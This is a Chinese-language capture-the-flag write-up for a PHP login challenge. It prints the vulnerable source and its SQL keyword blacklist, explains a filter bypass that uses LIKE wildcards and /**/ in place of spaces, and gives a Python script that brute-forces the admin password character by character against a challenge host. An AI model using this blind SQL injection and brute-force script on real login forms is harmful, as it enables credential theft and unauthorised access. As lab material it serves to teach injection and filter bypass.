题目:

尝试注入,无果。
F12查看源码。

根据提示,看到后端代码。

二、代码审计
源码:
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
获得flag需要:
绕过checkSql()函数的过滤;
用户名username必须是admin;
密码password完全正确。
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
}else {
alertMes("wrong password",'index.php');
}
对于sql语句我们可以使用 like+%模糊匹配绕过。
即:
SELECT password FROM users WHERE username='admin' and password='$password'
$password 可为 'or/**/password/**/like/**/'e%'#
放进去就是:
SELECT password FROM users WHERE username='admin' and password=''or/**/password/**/like/**/'e%'#'
意思就是password以e开头,如果是,则绕过第一个if,但是第二个if要求$password完全相同,否则弹出"wrong password"的字样。
所以我们可以尝试直接爆破密码。我们根据以上信息来写脚本。
三、脚本
import requests
import time
url='http://1.14.71.254:28130/'
pw="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password=''
for i in range(1,66):
for j in pw:
payload= "'/**/or/**/password/**/like/**/'{}%'#".format(password+j)
r = requests.post(url,data = {'username':'admin','password':payload})
time.sleep(0.1) #太快会提前退出
if "wrong password" in r.text: #如果部分密码正确
password+=j
print(password)
break
结果:

输入账号密码,即可获得flag。
